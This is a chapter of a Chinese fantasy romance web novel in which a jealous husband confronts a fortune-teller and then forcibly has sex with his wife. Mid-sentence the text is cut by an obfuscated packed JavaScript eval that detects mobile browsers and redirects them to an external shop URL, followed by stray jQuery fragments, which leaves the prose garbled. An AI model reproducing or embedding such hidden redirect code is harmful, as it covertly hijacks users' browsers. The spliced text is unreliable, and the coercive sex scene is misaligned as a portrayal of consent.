123读书网 > 都市小说 > 不要玩坏那个魔种 > 53. 第 53 章
    朔岚玦念攥着天命去邪的衣领,手背上的青筋凸显,好看的脸拧在一起。


    如果是当初的薛子昂可能要被吓死了,可如今他不只是薛子昂,他是天命去邪,是比朔岚玦念更在存在的神。


    但他还得认怂。


    存在更早不过是徒然老了几百岁,且他这个身份跟个盲眼书生一样,是柔弱型,朔岚玦念一个拳头就能把他揍趴下。


    天命去邪尴尬地笑着,颤颤抖抖地把手放到朔岚玦念的手上:“朔岚公子啊,手下留情,我和婈婈只不过是……”


    后半句话他说不出口了,脖子上骤然增加的力道让他呼吸都困难。


    “我是说……你的……妻子……”


    朔岚玦念这下才松手,目光冷冷地看着垂头咳嗽不止的天命去邪。


    “你和吾妻认识?”


    天命去邪刚想说他不仅认识还特别熟,但话到嘴边看到他一脸冷色只好说:“就是个聊天搭子的关系。”


    “吾妻已经怀孕了,以后你离她远点,不要伤到她。”


    “不是我和嬴……你的妻子聊天,为什么就能伤到她了?”天命去邪忽然一愣,“诶不对,谁说她怀孕了?”


    朔岚玦念不欲多言,转身就要走,却被天命去邪拉住。


    只见他闭上眼睛,伸出一只手来快速地掐算着。


    一想到平时他眼上都蒙着块破白布,朔岚玦念就觉得他现在这副闭着眼睛晃来晃去模样极不可靠。


    可是天命去邪使劲儿拉着他的袖子,完全不允许他离开,大有强买强卖之意:“朔岚公子,即便你是朔岚公子也得听我天命一言啊!我敢以我天命去邪的名号保证,她没有怀孕啊!”


    反正他是薛子昂,拿天命去邪这个名字发誓可没有什么影响。


    天命去邪这么想着,仔细观察朔岚玦念的神色:“她什么时候告诉你她怀孕的?朔岚公子,不会是被嬴……你的妻子,给绿了吧?”


    “不可能!”他再一次掐住天命驱邪的衣领,“再胡说,不管你是谁,我一样杀了。”


    “朔岚公子,饶命啊!我开玩笑的我。我了解嬴……你的妻子,她肯定不会做这种事的。说不定她是有什么苦衷呢?我这几天确实都跟嬴……你的妻子待在一起,我说不定知道点什么。”


    苦衷?


    朔岚玦念回想起昨晚在樱花树下嬴婈问自己的问题、她异样的神情,于是他松了手,回答道:“上月初十。”


    感到领口的力道消失,天命去邪立刻如泥鳅般往旁边一撤:“诶,我那天还真见过她。”


    “这件事的起因,恐怕就要追溯到你们的新婚之夜了。”


    提到新婚之夜,朔岚玦念并不愿回忆。因为自从他化形之后,嬴婈同他讲话行事总是非常轻佻,所以当她那日忽然说想与他成婚时,他以为自己又被拿来取乐了。直到他真的被嬴婈帮进洞房里,他才拥有切实的幸福感,他真的和嬴婈成婚了。


    然而,就在他以为幸福来临时,嬴婈那夜却撇下他自己去偏殿睡,他便以为这个成婚依旧是在耍他。


    带着强烈的不安和疑惑,朔岚玦念问道:“新婚之夜,怎么了?”


    天命去邪努力回忆着:“本来她满心期待要和你圆房来着,但我跟她说,等她的离魂症加重后,就你俩每一次同房,都会损耗你的神魂来填补她的。那时她还在那副旧的身体里,但她听说后可就一点儿也不愿意和你行房事了。”


    朔岚玦念心中的不安感渐渐淡去。原来是这个原因,损耗神魂是算得了什么。他已经为她献出一根肋骨,无论他的骨血筋肉,还是神魂灵气,他全都可以拿出来作为代价,只要能与她在一处。


    他的嘴角微微上扬:“所以上月初十,你是把这件事告诉了她?”


    “嗯嗯是啊。”天命去邪惊恐地打量他一番,“当初为她抽离神魂时,你让我瞒着她新躯体的来源。不是,我怎么觉得你有点变态呢,怎么我和你说了这事儿,你非但不担心自己的身体,反而一副沾沾自喜的样子?”


    是啊,他与嬴婈相伴而生,只有他能为她续命,他注定离不开她。


    就在朔岚玦念喜上眉梢之时,天命去邪又忽然开口:“嬴婈她就是这么善良,她希望自己能活下去,但又不希望这需要以你的性命或者感情为代价。”


    朔岚玦念的笑容忽然僵住,一种久违的寒意再次爬上他的心头:“什么意思?”


    天命去邪眼神无辜地看着他:“她失忆了,你可没有。别忘了,自始至终,她爱的人只有时殷尊者。我们口风都紧的很,从未提及过他,可是她今天突然来问我知不知道时殷尊者。你看,她即便失忆了都还记得他呢。”


    心情从谷底爬升到巅峰,此刻又入坠深渊。朔岚玦念紧紧攥住拳头,几乎把手心都掐出血来。


    他有私心的,他知道换到新的身体里的嬴婈会忘记时殷,卑劣地爱着嬴婈的他奢望着能趁这个机会得到她的心。


    而她竟然,这么快就又想起了时殷。


    所以时殷现在到底在哪里呢?


    今天倚能的心绪格外沉重。今日征讨混沌之气时,她发现射落后它们转化的火苗已经有了汇聚之势。


    她推开殿门时,便见到朔岚玦念披散着头发坐在镜子前,对着镜子里的自己发呆。


    正好问问,他会不会知道时殷呢?


    倚能乖巧地蹲在他的身边,声音柔柔地问:“朔岚公子,你知道时殷吗?”


    “我有点事想问他。”


    “什么事?”


    赤红离火的问题,朔岚玦念相比也是无力应对的。如果此时便告诉他,无非是让他徒增烦扰罢了。这几日他似乎心情都挺好的,还是不要让他和自己一样忧愁吧。


    这么想着,倚能便直接转移话题,试图回避进一步的讨论。


    她因为一直忧心着赤红离火的事情,所以并未注意到朔岚玦念今日的神采与以往大不相同。


    “哐啷!”


    来不及做任何反应,朔岚玦念猛然把她按做在镜子面前的桌案上,狂暴地拥吻着她。


    这是怎么了?


    倚能的脑海里懵懵的,没有反应过来,只能在动作上呆呆地回应着,同时抬起手抚了抚他的背。


    本以为稍作安抚他变会停下


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039939|189652||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    来,却发现他一发不可收拾起来,又要掀起她的裙摆。


    被吻得说不出话也几乎喘不过气来,倚能情急之下咬了一口他的嘴唇。


    果然,朔岚玦念和夙玦一样的怕疼,立刻松开唇停下来。


    他抬手抹了下唇上的血,一双黑曜石般的眼眸里似乎有些许寞落寂寥之色,氤氲着薄薄的水雾。


    朔岚玦念自嘲一笑:“你果然还是忘不了他。你的心也从来不在我这里。”


    忘不了谁,她的心在哪里?


    他这么一说,倚能反而更懵了。


    然而,倚能的怔愣落在朔岚玦念眼里,便被他误以为是心事被戳破的窘迫。


    他眼眸里的黑色愈发暗沉了,眼底翻滚着不明的情绪,随后按住倚能,直接撕裂了她的衣裙。


    “嘶啦!”


    “你……”


    倚能的脸难得的红了,话未说出口便被朔岚玦念的吻给堵了回去。以往他虽不熟练,却是温柔小心的,而今夜的他是横冲直撞的粗暴,不容拒绝。


    在一次次快乐地站在高峰之上时,倚能的脑海变得空白。她紧抱着朔岚玦念,轻吻着他的下颌。


    而朔岚玦念在患得患失之中与她紧紧地十指相扣,一声又一声地呼唤着“嬴婈”,生怕每慢下一拍她便毫无眷恋地弃他而去。


    在他还只是一个还未化形的黑曜石时,“时殷尊者”四个字便如梦魇一般日日萦绕在他耳边。那时的嬴婈每日都会捧着他,三句话离不开时殷。


    “你说,时殷他去哪里了呀?好久没见到他了。”


    “刚刚他同我说话,还问我最近开不开心,嘻嘻。”


    “等我以后不用四处征讨混沌之气了,我就带上你这块小石头去找他,我们和他永远永远生活在一起。”


    “诶,他是掌管时序之神,那么他岂不是能看到我的未来?不知道我的未来里有他吗。”


    朔岚玦念回忆着这些往事,一滴眼泪从他黑曜石般的眼睛里滑落,浸入枕头,给脸颊带来一片湿润的冰凉。


    他抬起手轻轻地抚摸着嬴婈的睡颜,摩挲着她柔软的唇瓣。


    明明这次趁着她失忆,他已经努力地先一步来到她的身边。为什么时殷像一只赶不走的苍蝇,又一次,又一次来到他们二人之间?


    胸口中的窒闷干越来越重,强烈的不安和不甘挥之不去,像巨石般压在他的心口。


    难道她嬉笑着让他同她成婚,大胆主动地吻上他,甚至在落墟祭典那晚在方碑后的缠绵悱恻,都只是在离魂症发作时,想从他这里寻找短暂的慰藉吗?


    难道他献出的肋骨和神魂都只是在帮助她走向与时殷相伴永世的未来?


    如果真的是那样,他也会在她的身体和灵魂的深处存在着,在阴影中注视着她,守望着她,同她紧密地融合在一起。


    在嬴婈平稳的呼吸声中,朔岚玦念把手轻轻放在她的小腹上。这里不会有他的孩子,嬴婈只会想和时殷生孩子吧。


    他想他真是疯了,明明天命去邪信誓旦旦地说过嬴婈没有怀孕,但他总觉得嬴婈的小腹并不似以往那般平坦,而是微微凸起。